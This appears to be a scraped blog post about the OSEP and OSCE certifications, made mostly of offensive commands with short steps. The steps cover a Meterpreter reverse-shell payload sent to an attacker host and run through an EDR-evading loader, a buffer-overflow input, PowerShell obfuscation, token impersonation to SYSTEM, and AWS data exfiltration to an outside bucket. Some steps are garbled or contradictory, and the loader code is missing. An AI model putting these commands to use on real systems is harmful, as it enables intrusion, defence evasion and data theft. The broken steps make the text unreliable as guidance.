Advanced Offensive Security Training: OSEP and OSCE Certifications

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Introduction:

Offensive Security’s OSEP (Offensive Security Experienced Penetration Tester) and OSCE (Offensive Security Certified Expert) certifications are among the most respected credentials in cybersecurity. These programs focus on real-world exploitation, advanced penetration testing, and evasion techniques, equipping professionals with hands-on skills to bypass modern defenses.

Learning Objectives:

  • Understand the core methodologies tested in OSEP and OSCE.
  • Learn key evasion techniques for bypassing EDR and AV solutions.
  • Master advanced exploitation using custom shellcode and payload crafting.

You Should Know:

1. Bypassing EDR with Custom Shellcode

Command:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f raw -o payload.bin

Step-by-Step Guide:

1. Generate a raw Meterpreter payload using `msfvenom`.

  1. Use a custom loader (written in C/C++) to inject the shellcode into memory.

3. Compile with:

gcc -o loader loader.c -lws2_32

4. Execute the loader to evade signature-based detection.

2. Exploiting Stack-Based Buffer Overflows

Command:

python -c "print('A'  500 + '\x90\x90\x90\x90' + '\x41\x42\x43\x44')"

Step-by-Step Guide:

  1. Fuzz the target application to identify the crash offset.
  2. Overwrite EIP with a controlled address (e.g., JMP ESP).
  3. Place shellcode in the NOP sled for execution.

3. AV Evasion with Obfuscation

Command (PowerShell):

Invoke-Obfuscation -ScriptBlock { Start-Process notepad.exe } -Command 'Token\All\1'

Step-by-Step Guide:

1. Use `Invoke-Obfuscation` to randomize PowerShell cmdlets.

2. Test the obfuscated script against Windows Defender.

  1. Deploy in engagements where PowerShell logging is enabled.

4. Privilege Escalation via Token Impersonation

Command (Windows):

incognito.exe list_tokens -u

Step-by-Step Guide:

1. Enumerate available tokens with Incognito.

2. Impersonate a high-privilege token:

incognito.exe execute -c "DOMAIN\Admin" cmd.exe

3. Gain SYSTEM-level access.

5. Cloud Post-Exploitation with AWS CLI

Command:

aws sts get-caller-identity --profile compromised

Step-by-Step Guide:

1. Extract credentials from a compromised instance.

2. Enumerate IAM roles and S3 buckets.

3. Exfiltrate data using:

aws s3 cp sensitive.txt s3://exfil-bucket/

What Undercode Say:

  • Key Takeaway 1: OSEP and OSCE demand deep understanding of offensive techniques, not just tool usage.
  • Key Takeaway 2: Real-world attacks require bypassing modern defenses like EDR and cloud monitoring.

Analysis:

These certifications validate skills in advanced adversarial tactics, making them invaluable for red teams. As defenses evolve, Offensive Security’s focus on practical, scenario-based training ensures professionals stay ahead. Expect future updates to include AI-driven detection evasion and more cloud-focused attacks.

Prediction:

With increasing adoption of AI in cybersecurity, future OSEP/OSCE exams may incorporate machine learning-powered attack simulations, challenging testers to adapt to next-gen defensive systems.

IT/Security Reporter URL:

Reported By: Khaled Essa – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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